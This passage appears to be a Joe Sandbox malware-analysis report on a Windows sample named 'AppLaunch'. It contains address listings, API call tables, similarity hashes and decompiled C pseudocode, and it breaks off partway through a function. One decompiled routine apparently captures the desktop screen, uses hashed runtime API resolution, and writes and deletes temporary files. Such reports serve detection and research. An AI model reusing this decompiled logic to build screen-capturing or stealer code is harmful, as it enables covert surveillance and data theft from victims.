0x00407d14
0x00407d17
0x00407d1c
0x00407d1f
0x00407d24
0x00407d27
0x00407d2d
0x00407d30
0x00407d37
0x00407d3a
0x00407d51
0x00407d5e
0x00407d65
0x00407d6f
0x0040817e
0x00408187
0x00408190
0x00000000
0x00407d8a
0x00407d99
0x00407da1
0x00407daa
0x00407db5
0x00407db7
0x00407dbf
0x00407dd0
0x00408145
0x00408146
0x0040814f
0x00408158
0x0040815e
0x00408160
0x00408163
0x00408163
0x00408169
0x0040816d
0x00408172
0x00408172
0x00000000
0x0040817a
0x00407ded
0x00407def
0x00407df5
0x00407dfb
0x00407e00
0x00407e3f
0x00407e40
0x00407e47
0x00407e49
0x00408136
0x00408136
0x0040813f
0x00000000
0x0040813f
0x00407e51
0x00407e54
0x00407e55
0x00407e5b
0x00407e60
0x00408133
0x00408133
0x00000000
0x00000000
0x00000000
0x00000000
0x00407e66
0x00407e66
0x00407e66
0x00407e68
0x00000000
0x00000000
0x00407e71
0x00407e76
0x00407e7c
0x00407e80
0x00407e82
0x00407e86
0x00407e88
0x00000000
0x00000000
0x00407e8e
0x00407e8e
0x00407e90
0x00000000
0x00000000
0x00407e9a
0x00407ea0
0x00407ea2
0x00407eab
0x00407eab
0x00407ea4
0x00407ea6
0x00407ea6
0x00407eb4
0x00407ec4
0x00407ed4
0x00407ee0
0x00407ef4
0x00407efb
0x00407efd
0x004080ef
0x004080f2
0x004080fb
0x00408104
0x0040810a
0x0040810d
0x0040810f
0x00000000
0x00000000
0x0040811c
0x0040811f
0x00408125
0x0040812a
0x00000000
0x00000000
0x00000000
0x00407f03
0x00407f17
0x00407f2c
0x00407f32
0x00407f35
0x00407f37
0x00407f39
0x00407f48
0x00407f60
0x00407f6a
0x00407f6c
0x00407f78
0x00407f7b
0x00407f81
0x00407f81
0x00407f92
0x00407f94
0x00407f96
0x004080e4
0x004080e4
0x004080e4
0x004080e6
0x004080e9
0x00000000
0x004080e9
0x00407f9c
0x00407f9c
0x00407f9e
0x00407fa1
0x00000000
0x00000000
0x00407fab
0x00407fb1
0x00407fb3
0x00000000
0x00000000
0x00407fb9
0x00407fb9
0x00407fbd
0x00407fc0
0x00407fd8
0x00407fdf
0x00407fe1
0x00407ffb
0x00407ffe
0x00408007
0x0040800d
0x0040800f
0x004080d7
0x004080d7
0x00408015
0x00408015
0x00408015
0x00408019
0x0040801c
0x0040801f
0x00408029
0x0040803b
0x00408042
0x00408044
0x00408059
0x0040805c
0x00408061
0x00408063
0x00408065
0x00408069
0x0040807b
0x0040808a
0x00408090
0x004080a1
0x004080a3
0x004080a5
0x004080b1
0x004080b1
0x004080b3
0x004080b5
0x004080b8
0x004080b8
0x004080be
0x004080c1
0x004080c1
0x004080c1
0x00408069
0x004080c6
0x004080cf
0x004080d2
0x004080d2
0x00408044
0x0040801f
0x004080dc
0x004080dc
0x00407fe1
0x00000000
0x00407fc0
0x00407efd
0x00408130
0x00000000
0x00408130
0x00407e1b
0x00407e3c
0x00000000
0x00407e1d
0x00407e1e
0x00407e25
0x00407e2e
0x00408190
0x00408190
0x00000000
0x00408190
0x00407e1b

APIs

LocalAlloc.KERNEL32(00000040,00000208,00000000,00000000,?), ref: 00407D3A
LocalAlloc.KERNEL32(00000040,00000208), ref: 00407D45
PathCombineW.SHLWAPI(00000000,?), ref: 00407D58

Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C391
Part of subcall function 0041C37E: RealDriveType.SHELL32(49068A3F,00000000), ref: 0041C39F
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3A5
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3AB
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3B1
Part of subcall function 0041C37E: RealDriveType.SHELL32(90F51192,00000000), ref: 0041C3BA
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3C0
Part of subcall function 0041C37E: RealDriveType.SHELL32(8030BDD6,00000000), ref: 0041C3C9
Part of subcall function 0041C37E: RealDriveType.SHELL32(3529F220,00000000), ref: 0041C3D2
Part of subcall function 0041C37E: RealDriveType.SHELL32(44900BA8,00000000), ref: 0041C3DB
Part of subcall function 0041C37E: RealDriveType.SHELL32(80627B6F,00000000), ref: 0041C3E4
Part of subcall function 0041C37E: RealDriveType.SHELL32(4B2F893E,00000000), ref: 0041C3ED
Part of subcall function 0041C37E: RealDriveType.SHELL32(9237E9C0,00000000), ref: 0041C3F6
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3FC
Part of subcall function 0041C37E: RealDriveType.SHELL32(001C2176,00000000), ref: 0041C405
Part of subcall function 0041C37E: RealDriveType.SHELL32(DCD15041,00000000), ref: 0041C40E
Part of subcall function 0041C37E: RealDriveType.SHELL32(06ACA385,00000000), ref: 0041C417
Part of subcall function 0041C37E: RealDriveType.SHELL32(54EEC891,00000000), ref: 0041C420
Part of subcall function 0041C37E: RealDriveType.SHELL32(6F107F95,00000000), ref: 0041C429
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C42F
Part of subcall function 0041C37E: RealDriveType.SHELL32(1A1C9336,00000000), ref: 0041C438
Part of subcall function 0041C37E: RealDriveType.SHELL32(DF38BEB2,00000000), ref: 0041C441
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C447
Part of subcall function 0041C37E: RealDriveType.SHELL32(1D427676,00000000), ref: 0041C450
Part of subcall function 0041C37E: RealDriveType.SHELL32(2EC4F5A1,00000000), ref: 0041C459
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C45F
Part of subcall function 0041C37E: RealDriveType.SHELL32(3921A8C1,00000000), ref: 0041C468
Part of subcall function 0041C37E: RealDriveType.SHELL32(E7FE911E,00000000), ref: 0041C471
Part of subcall function 0041C37E: RealDriveType.SHELL32(3D01E728,00000000), ref: 0041C47A
Part of subcall function 0041C37E: RealDriveType.SHELL32(AEAA71A1,00000000), ref: 0041C483

CopyFileW.KERNEL32(00000000,00000000,00000000), ref: 00407D7C
CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00407D99
GetFileSize.KERNEL32(00000000,00000000), ref: 00407DA4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00407DAF
ReadFile.KERNEL32(?,00000000,-00000001,00000000,00000000), ref: 00407DC8
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 00407DE7
LocalAlloc.KERNEL32(00000040,00000040), ref: 00407DF5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 00407E13
LocalFree.KERNEL32(00000000), ref: 00407E1E
LocalFree.KERNEL32(00000000), ref: 00407E25
LocalFree.KERNEL32(00000000), ref: 00407E2E
lstrlenA.KERNEL32(00000000), ref: 00407E55
StrStrA.SHLWAPI(00000000,?), ref: 00407E76
StrStrA.SHLWAPI(00000000,?), ref: 00407E9A
LocalAlloc.KERNEL32(00000040,00000800), ref: 00407EB7
LocalAlloc.KERNEL32(00000040,00000800), ref: 00407EC7
LocalAlloc.KERNEL32(00000040,00000800), ref: 00407ED7
lstrlenA.KERNEL32(?,000000FF), ref: 00407EE6
LocalAlloc.KERNEL32(00000040,00001000), ref: 00407F0A
lstrlenA.KERNEL32(?,00000000,00000000), ref: 00407F1A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000001), ref: 00407F2C
LocalAlloc.KERNEL32(00000040,00000000), ref: 00407F3F
lstrlenA.KERNEL32(?,00000000,000000FF), ref: 00407F4E
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000001), ref: 00407F60
StrCpyW.SHLWAPI(00000000,00000000), ref: 00407F71
LocalFree.KERNEL32(00000000), ref: 00407F7B
StrStrA.SHLWAPI(00000000,?), ref: 00407F8C
StrStrA.SHLWAPI(00000000,?), ref: 00407FAB
lstrlenA.KERNEL32(?,00000000), ref: 00407FCA
LocalAlloc.KERNEL32(00000040,00003F40), ref: 00407FEF
StrStrA.SHLWAPI(00000000,?), ref: 00408007
lstrlenA.KERNEL32(?,00000000), ref: 0040802C
LocalAlloc.KERNEL32(00000040,00003F40), ref: 0040804D
LocalAlloc.KERNEL32(00000040,00000400), ref: 00408072
wsprintfW.USER32 ref: 0040808A
lstrlenW.KERNEL32 ref: 0040809B
LocalFree.KERNEL32(00000000), ref: 004080B8
LocalFree.KERNEL32(00000000), ref: 00408146
CloseHandle.KERNEL32(?), ref: 0040814F
DeleteFileW.KERNEL32(00000000), ref: 00408158
LocalFree.KERNEL32(00000000), ref: 00408163
LocalFree.KERNEL32(00000000), ref: 00408172
LocalFree.KERNEL32(00000000), ref: 0040817E
DeleteFileW.KERNEL32(00000000), ref: 00408187
LocalFree.KERNEL32(00000000), ref: 00408190

Strings

Vx@, xrefs: 00407FF8, 0040807D, 00407EDD, 004080D9, 00407F45

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Local$DriveRealType$Alloc$FreePath$Slow$lstrlen$File$ByteCharMultiWide$Delete$CloseCombineCopyCreateHandleReadSizewsprintf
String ID: Vx@
API String ID: 2642973283-105527678
Opcode ID: 49976f96805d4c102aa445e4080e50982083dbc8ad878fdce66d047bdc9dae65
Instruction ID: 6004ec945722dadf65f4c09a7c9d4b3f1f7fb1bbfdbfd2bde1d3d9919093f40b
Opcode Fuzzy Hash: 49976f96805d4c102aa445e4080e50982083dbc8ad878fdce66d047bdc9dae65
Instruction Fuzzy Hash: 3EE18571A00205BFDB215FA0DD49AAEBF75FF04712F504439F605F62A4DB399A02CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00413F0A Relevance: 73.8, APIs: 49, Instructions: 348
libraryloadermemoryCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E00413F0A(WCHAR* _a4, WCHAR* _a8) {
				int _v48;
				int _v52;
				int _v56;
				long _v60;
				struct tagRECT _v80;
				struct HDC__* _v96;
				struct HDC__* _v100;
				struct HDC__* _v112;
				struct HWND__* _v116;
				struct HWND__* _v120;
				void* _v124;
				struct HWND__* _v128;
				intOrPtr _v132;
				char _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				signed int _v176;
				void* _v180;
				void* _v184;
				char* _v188;
				char _v212;
				signed int _v228;
				char _v232;
				struct HDC__* _v240;
				struct HDC__* _v244;
				struct _SECURITY_ATTRIBUTES* _v248;
				void* _v252;
				void* _v256;
				void* _v260;
				WCHAR* _v264;
				void* _v268;
				void* _t88;
				void* _t112;
				void* _t120;
				short* _t126;
				int _t127;
				void* _t133;
				WCHAR* _t134;
				WCHAR* _t136;
				void* _t137;
				int _t141;
				int _t150;
				void* _t152;
				int _t153;
				char _t161;
				void* _t168;
				void* _t171;
				struct HINSTANCE__* _t172;
				struct HDC__* _t173;
				void* _t175;
				void* _t178;
				void* _t180;
				struct HINSTANCE__* _t181;
				struct HDC__* _t182;
				char* _t185;
				void* _t187;

				_v60 = 1;
				_v56 = 0;
				_t153 = 0;
				_v52 = 0;
				_v48 = 0;
				_v116 = GetDesktopWindow();
				_t181 = LoadLibraryW( *0x423470);
				_t172 = LoadLibraryW( *0x423374);
				 *0x423194 = GetProcAddress(_t181,  *0x423448);
				 *0x423114 = GetProcAddress(_t181,  *0x423278);
				 *0x423160 = GetProcAddress(_t181,  *0x423280);
				 *0x423170 = GetProcAddress(_t181,  *0x423494);
				 *0x423130 = GetProcAddress(_t181,  *0x423404);
				 *0x423150 = GetProcAddress(_t181,  *0x423358);
				 *0x42300c = GetProcAddress(_t172,  *0x4233d8);
				 *0x4230fc = GetProcAddress(_t172,  *0x423434);
				 *0x423054 = GetProcAddress(_t172,  *0x423338);
				 *0x42308c = GetProcAddress(_t172,  *0x4233e4);
				 *0x4230c8 = GetProcAddress(_t172,  *0x42357c);
				 *0x423128 = GetProcAddress(_t172,  *0x4232fc);
				 *0x423060 = GetProcAddress(_t172,  *0x423530);
				 *0x42307c = GetProcAddress(_t172,  *0x4233f4);
				_v100 = GetDC(0);
				_t182 = GetDC(_v116);
				_v96 = _t182;
				_t88 = LocalAlloc(0x40, 0x208);
				_v124 = _t88;
				_t173 =  *0x423054(_t182, _t171, _t180, _t152);
				_v96 = _t173;
				if(_t173 != 0) {
					GetClientRect(_v120,  &_v80);
					 *0x423060(_t182, 4);
					 *0x42307c(_t182, 0, 0, _v80.left, _v80.top, _v112, 0, 0, GetSystemMetrics(0), GetSystemMetrics(1), 0xcc0020);
					if(0 != 0) {
						_t153 =  *0x4230fc(_t182, _v124 - _v132, _v120 - _v128);
						if(_t153 != 0) {
							 *0x423128(_t173, _t153);
							_t112 =  *0x42300c(_t173, 0, 0, _v144 - _v152, _v140 - _v148, _t182, 0, 0, 0xcc0020);
							_t196 = _t112;
							if(_t112 != 0) {
								 *0x4230c8(_t153, 0x18,  &_v140);
								 *0x423194( &_v212,  &_v184, 0);
								if(E0041C37E(0,  &_v260, _t196) == 0) {
									L14:
									LocalFree(_v260);
								} else {
									_push(0);
									_t120 = E00413DE7(_t153, _v260);
									_t198 = _t120 - 1;
									if(_t120 != 1) {
										goto L14;
									} else {
										_v248 = 0;
										_v260 = LocalAlloc(0x40, 0x20);
										_t175 = CreateFileW(_v264, 0x80000000, 1, 0, 4, 0, 0);
										_t185 = LocalAlloc(0x40, 0x30c);
										_t126 = E0041AD76(StrCpyW(LocalAlloc(0x40, 0x618),  *0x4231b0), _a4, _t198);
										_v256 = _t126;
										_t127 = WideCharToMultiByte(0xfde9, 0, _t126, 0xffffffff, 0, 0, 0, 0);
										if(_t127 == 0) {
											L9:
											LocalFree(_t185);
											CloseHandle(_t175);
											DeleteFileW(_v268);
											LocalFree(_v268);
										} else {
											_t150 = WideCharToMultiByte(0xfde9, 0, _v256, 0xffffffff, _t185, _t127, 0, 0);
											_t200 = _t150;
											if(_t150 == 0) {
												goto L9;
											} else {
												_v176 = _v176 & 0x00000000;
												_v184 = _t175;
												_v188 = _t185;
												_v180 = _v268;
												_v252 = 1;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
											}
										}
										LocalFree(_v256);
										_t133 = LocalAlloc(0x40, 0x208);
										_t134 = LocalAlloc(0x40, 0x208);
										_t168 = 0x10;
										_v248 = E00416B1A(_t133, _t168);
										_t136 = StrCpyW(_t134,  *0x423230);
										_t178 = _v252;
										_t137 = E0041AD76(_t136, _t178, _t200);
										_t161 =  *0x423224; // 0x513bc38
										_v228 = _v228 & 0x00000000;
										_v232 = _t161;
										_v252 = _t137;
										_v260 = E00413A99( &_v252, _t200);
										_t187 = LocalAlloc(0x40, 0x184);
										_t141 = WideCharToMultiByte(0xfde9, 0, _t178, 0xffffffff, 0, 0, 0, 0);
										if(_t141 != 0 && WideCharToMultiByte(0xfde9, 0, _t178, 0xffffffff, _t187, _t141, 0, 0) != 0) {
											E004133D0(_a8, _t187, 0, 0, _v256, _v268, _v260,  &_v232);
										}
										LocalFree(_t187);
										LocalFree(_v260);
										LocalFree(_v252);
										LocalFree(_t178);
										LocalFree(_v268);
										_t182 = _v244;
										_t173 = _v240;
									}
								}
							}
						}
					}
				}
				 *0x42308c(_t153);
				 *0x42308c(_t173);
				ReleaseDC(0, _v112);
				ReleaseDC(_v128, _t182);
				return 0;
			}

0x00413f16
0x00413f20
0x00413f24
0x00413f26
0x00413f2a
0x00413f3a
0x00413f4a
0x00413f58
0x00413f67
0x00413f79
0x00413f8b
0x00413f9d
0x00413faf
0x00413fc1
0x00413fd3
0x00413fe5
0x00413ff7
0x00414009
0x0041401b
0x0041402d
0x0041403f
0x0041404c
0x0041405b
0x00414065
0x00414067
0x00414072
0x00414079
0x00414083
0x00414085
0x0041408b
0x0041409a
0x004140a3
0x004140d2
0x004140da
0x004140f9
0x004140fd
0x00414105
0x0041412a
0x00414130
0x00414132
0x00414140
0x00414152
0x00414165
0x0041436a
0x0041436e
0x0041416b
0x0041416b
0x00414171
0x00414176
0x00414179
0x00000000
0x0041417f
0x00414185
0x0041419f
0x004141b0
0x004141bf
0x004141d9
0x004141e0
0x004141f1
0x004141f9
0x00414242
0x00414243
0x0041424a
0x00414254
0x0041425e
0x004141fb
0x0041420d
0x00414213
0x00414215
0x00000000
0x00414217
0x0041421b
0x00414220
0x00414228
0x00414230
0x00414234
0x0041423c
0x0041423d
0x0041423e
0x0041423f
0x0041423f
0x00414215
0x00414268
0x00414276
0x00414281
0x00414289
0x00414299
0x0041429e
0x004142a4
0x004142ac
0x004142b1
0x004142b7
0x004142bc
0x004142c4
0x004142d4
0x004142de
0x004142ef
0x004142f7
0x0041432c
0x00414331
0x00414335
0x0041433f
0x00414349
0x00414350
0x0041435a
0x00414360
0x00414364
0x00414364
0x00414179
0x00414165
0x00414132
0x004140fd
0x004140da
0x00414375
0x0041437c
0x00414388
0x00414393
0x004143a1

APIs

GetDesktopWindow.USER32 ref: 00413F2E
LoadLibraryW.KERNEL32 ref: 00413F3E
LoadLibraryW.KERNEL32 ref: 00413F4C
GetProcAddress.KERNEL32(00000000), ref: 00413F5B
GetProcAddress.KERNEL32(00000000), ref: 00413F6D
GetProcAddress.KERNEL32(00000000), ref: 00413F7F
GetProcAddress.KERNEL32(00000000), ref: 00413F91
GetProcAddress.KERNEL32(00000000), ref: 00413FA3
GetProcAddress.KERNEL32(00000000), ref: 00413FB5
GetProcAddress.KERNEL32(00000000), ref: 00413FC7
GetProcAddress.KERNEL32(00000000), ref: 00413FD9
GetProcAddress.KERNEL32(00000000), ref: 00413FEB
GetProcAddress.KERNEL32(00000000), ref: 00413FFD
GetProcAddress.KERNEL32(00000000), ref: 0041400F
GetProcAddress.KERNEL32(00000000), ref: 00414021
GetProcAddress.KERNEL32(00000000), ref: 00414033
GetProcAddress.KERNEL32(00000000), ref: 00414045
GetDC.USER32(00000000), ref: 00414051
GetDC.USER32(?), ref: 0041405F
LocalAlloc.KERNEL32(00000040,00000208), ref: 00414072
GetClientRect.USER32(?,?), ref: 0041409A
GetSystemMetrics.USER32(00000001), ref: 004140B0
GetSystemMetrics.USER32(00000000), ref: 004140B8

Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C391
Part of subcall function 0041C37E: RealDriveType.SHELL32(49068A3F,00000000), ref: 0041C39F
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3A5
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3AB
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3B1
Part of subcall function 0041C37E: RealDriveType.SHELL32(90F51192,00000000), ref: 0041C3BA
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3C0
Part of subcall function 0041C37E: RealDriveType.SHELL32(8030BDD6,00000000), ref: 0041C3C9
Part of subcall function 0041C37E: RealDriveType.SHELL32(3529F220,00000000), ref: 0041C3D2
Part of subcall function 0041C37E: RealDriveType.SHELL32(44900BA8,00000000), ref: 0041C3DB
Part of subcall function 0041C37E: RealDriveType.SHELL32(80627B6F,00000000), ref: 0041C3E4
Part of subcall function 0041C37E: RealDriveType.SHELL32(4B2F893E,00000000), ref: 0041C3ED
Part of subcall function 0041C37E: RealDriveType.SHELL32(9237E9C0,00000000), ref: 0041C3F6
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3FC
Part of subcall function 0041C37E: RealDriveType.SHELL32(001C2176,00000000), ref: 0041C405
Part of subcall function 0041C37E: RealDriveType.SHELL32(DCD15041,00000000), ref: 0041C40E
Part of subcall function 0041C37E: RealDriveType.SHELL32(06ACA385,00000000), ref: 0041C417
Part of subcall function 0041C37E: RealDriveType.SHELL32(54EEC891,00000000), ref: 0041C420
Part of subcall function 0041C37E: RealDriveType.SHELL32(6F107F95,00000000), ref: 0041C429
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C42F
Part of subcall function 0041C37E: RealDriveType.SHELL32(1A1C9336,00000000), ref: 0041C438
Part of subcall function 0041C37E: RealDriveType.SHELL32(DF38BEB2,00000000), ref: 0041C441
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C447
Part of subcall function 0041C37E: RealDriveType.SHELL32(1D427676,00000000), ref: 0041C450
Part of subcall function 0041C37E: RealDriveType.SHELL32(2EC4F5A1,00000000), ref: 0041C459
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C45F
Part of subcall function 0041C37E: RealDriveType.SHELL32(3921A8C1,00000000), ref: 0041C468
Part of subcall function 0041C37E: RealDriveType.SHELL32(E7FE911E,00000000), ref: 0041C471
Part of subcall function 0041C37E: RealDriveType.SHELL32(3D01E728,00000000), ref: 0041C47A
Part of subcall function 0041C37E: RealDriveType.SHELL32(AEAA71A1,00000000), ref: 0041C483

LocalAlloc.KERNEL32(00000040,00000020,00000000,?), ref: 00414189
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000), ref: 004141A3
LocalAlloc.KERNEL32(00000040,0000030C), ref: 004141B2
LocalAlloc.KERNEL32(00000040,00000618), ref: 004141C1
StrCpyW.SHLWAPI(00000000), ref: 004141CE

Part of subcall function 0041AD76: RealDriveType.SHELL32(DB4B90B6,00000000), ref: 0041AD91
Part of subcall function 0041AD76: RealDriveType.SHELL32(F6C33797,00000000), ref: 0041AD9A
Part of subcall function 0041AD76: RealDriveType.SHELL32(B4FED3B4,00000000), ref: 0041ADA3
Part of subcall function 0041AD76: RealDriveType.SHELL32(E053CF6F,00000000), ref: 0041ADAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(9F1C7DF3,00000000), ref: 0041ADB5
Part of subcall function 0041AD76: RealDriveType.SHELL32(798F4A1B,00000000), ref: 0041ADBE
Part of subcall function 0041AD76: RealDriveType.SHELL32(425CBB03,00000000), ref: 0041ADC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADD3
Part of subcall function 0041AD76: RealDriveType.SHELL32(EA97A208,00000000), ref: 0041ADDC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADE6
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADEC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADF2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DF46B1FA,00000000), ref: 0041ADFB
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC90E4E7,00000000), ref: 0041AE08
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE12
Part of subcall function 0041AD76: RealDriveType.SHELL32(50B39D8C,00000000), ref: 0041AE1B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE25
Part of subcall function 0041AD76: RealDriveType.SHELL32(CE8B1640,00000000), ref: 0041AE2E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE38
Part of subcall function 0041AD76: RealDriveType.SHELL32(01DAA5FB,00000000), ref: 0041AE41
Part of subcall function 0041AD76: RealDriveType.SHELL32(C79127D6,00000000), ref: 0041AE4E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE58
Part of subcall function 0041AD76: RealDriveType.SHELL32(6B26D139,00000000), ref: 0041AE61
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE6B
Part of subcall function 0041AD76: RealDriveType.SHELL32(E9760AD3,00000000), ref: 0041AE74
Part of subcall function 0041AD76: RealDriveType.SHELL32(2BEFB636,00000000), ref: 0041AE81
Part of subcall function 0041AD76: RealDriveType.SHELL32(04751878,00000000), ref: 0041AE8E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE98
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE9E

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 004141F1
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 0041420D
LocalFree.KERNEL32(00000000), ref: 00414243
CloseHandle.KERNEL32(00000000), ref: 0041424A
DeleteFileW.KERNEL32(?), ref: 00414254
LocalFree.KERNEL32(?), ref: 0041425E
LocalFree.KERNEL32(?), ref: 00414268
LocalAlloc.KERNEL32(00000040,00000208), ref: 00414276
LocalAlloc.KERNEL32(00000040,00000208), ref: 00414281
StrCpyW.SHLWAPI(00000000), ref: 0041429E
LocalAlloc.KERNEL32(00000040,00000184), ref: 004142D8
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 004142EF
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 00414308
LocalFree.KERNEL32(00000000), ref: 00414335
LocalFree.KERNEL32(?), ref: 0041433F
LocalFree.KERNEL32(?), ref: 00414349
LocalFree.KERNEL32(?), ref: 00414350
LocalFree.KERNEL32(?), ref: 0041435A
LocalFree.KERNEL32(?), ref: 0041436E
ReleaseDC.USER32(00000000,?), ref: 00414388
ReleaseDC.USER32(?,00000000), ref: 00414393

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$PathSlow$Local$AddressProc$Free$Alloc$ByteCharMultiWide$FileLibraryLoadMetricsReleaseSystem$ClientCloseCreateDeleteDesktopHandleRectWindow
String ID:
API String ID: 378811505-0
Opcode ID: 629fef0c13c3546fb9650ea798cb3846e0a3f3efc0a84b73ec9e4a4a3e623929
Instruction ID: 806c44a43db871704d552d498f60df61e5ca63532e9c880c3da37a984409fbe4
Opcode Fuzzy Hash: 629fef0c13c3546fb9650ea798cb3846e0a3f3efc0a84b73ec9e4a4a3e623929
Instruction Fuzzy Hash: F7D12C71704300BFD7219F60DC09E6BBBB9FB89712F40452DFA45D22A4DB799A02CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041555A Relevance: 64.8, APIs: 43, Instructions: 278
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0041555A(WCHAR* __ecx, WCHAR* __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				int _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				int _v40;
				WCHAR* _v44;
				void* _v48;
				signed int _v52;
				char _v56;
				signed int _t57;
				signed int _t58;
				signed int _t62;
				signed int _t67;
				signed int _t72;
				signed int _t79;
				void* _t81;
				signed int _t82;
				signed int _t90;
				void* _t93;
				WCHAR* _t94;
				void* _t97;
				char _t98;
				int _t102;
				signed int _t107;
				void* _t114;
				void* _t123;
				void* _t149;
				signed int _t152;
				WCHAR* _t153;
				WCHAR* _t155;
				void* _t158;
				signed int _t160;
				signed int _t161;
				WCHAR* _t162;
				signed int _t166;
				signed int _t169;
				WCHAR* _t171;
				void* _t172;
				short* _t174;

				_v44 = __edx;
				_v24 = 0;
				_t152 = 0;
				_v40 = 0;
				_t57 = StrStrW(__ecx,  *0x42335c);
				_t161 = _t57;
				if(_t161 == 0) {
					return _t57 | 0xffffffff;
				}
				_t162 = _t161 + 0xc;
				_t58 = StrStrW(_t162,  *0x423200);
				__eflags = _t58;
				if(_t58 == 0) {
					L6:
					_v8 = LocalAlloc(0x40, lstrlenW(_t162) + _t59);
					_t62 = E00419B4E(_t162,  &_v8, 0, _t152);
					__eflags = _t62;
					if(_t62 != 0) {
						_t153 =  &(( &(_t162[1]))[_t152]);
						_v12 = LocalAlloc(0x40, lstrlenW(_t153) + _t63);
						_t166 = StrStrW(_t153,  *0x42322c) - _t153 >> 1;
						_t67 = E00419B4E(_t153,  &_v12, 0, _t166);
						__eflags = _t67;
						if(_t67 != 0) {
							_t155 =  &(( &(_t153[_t166]))[1]);
							_v16 = LocalAlloc(0x40, lstrlenW(_t155) + _t68);
							_t169 = StrStrW(_t155,  *0x42322c) - _t155 >> 1;
							_t72 = E00419B4E(_t155,  &_v16, 0, _t169);
							__eflags = _t72;
							if(_t72 != 0) {
								_t171 =  &(_t155[_t169 + 1]);
								_v20 = LocalAlloc(0x40, lstrlenW(_t171) + _t73);
